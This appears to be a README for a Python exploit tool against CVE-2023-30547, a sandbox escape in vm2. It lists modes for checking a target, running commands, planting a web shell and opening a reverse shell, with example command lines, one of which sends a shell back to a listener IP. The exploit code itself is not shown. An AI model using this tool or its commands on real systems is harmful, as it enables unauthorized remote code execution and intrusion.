/CVE-2023-30547

Tool for exploring CVE-2023-30547

Primary LanguagePython

CVE-2023-30547

Demonstration

Vulnerability description

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules. There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception inside handleException() which can be used to escape the sandbox and run arbitrary code in host context.

CVE-2023-30547.py

This tool is a simple python script that can be used to explore the vulnerability. It has 4 modes:

  • check: checks if the target is vulnerable.
  • command_execution_execution: executes a command on the target.
  • web_shell: opens a web shell on the target.
  • reverse_shell: opens a reverse shell on the target.

Help

usage: CVE-2023-30547.py [-h] -m {check,command_execution,web_shell,reverse_shell} -t TARGET [-c COMMAND] [-p PORT] [-i IP]

Tool for exploring CVE-2023-30547. 

options:
  -h, --help            show this help message and exit
  -m {check,command_execution,web_shell,reverse_shell}, --mode {check,command_execution,web_shell,reverse_shell}
                        Mode to run the tool in.
  -t TARGET, --target TARGET
                        Target to run the tool against.
  -c COMMAND, --command COMMAND
                        Command to execute in exploit mode.
  -p PORT, --port PORT  Local port to use for reverse shell.
  -i IP, --ip IP        Local ip to use for reverse shell.

Usage

python3 CVE-2023-30547.py -m check -t http://url.com/run
python3 CVE-2023-30547.py -m reverse_shell -t domain.com/run -p 1234 -i 10.10.10.10
python3 CVE-2023-30547.py -m web_shell -t domain.com/run
python3 CVE-2023-30547.py -m command_execution -t domain.com -c 'whoami'

References: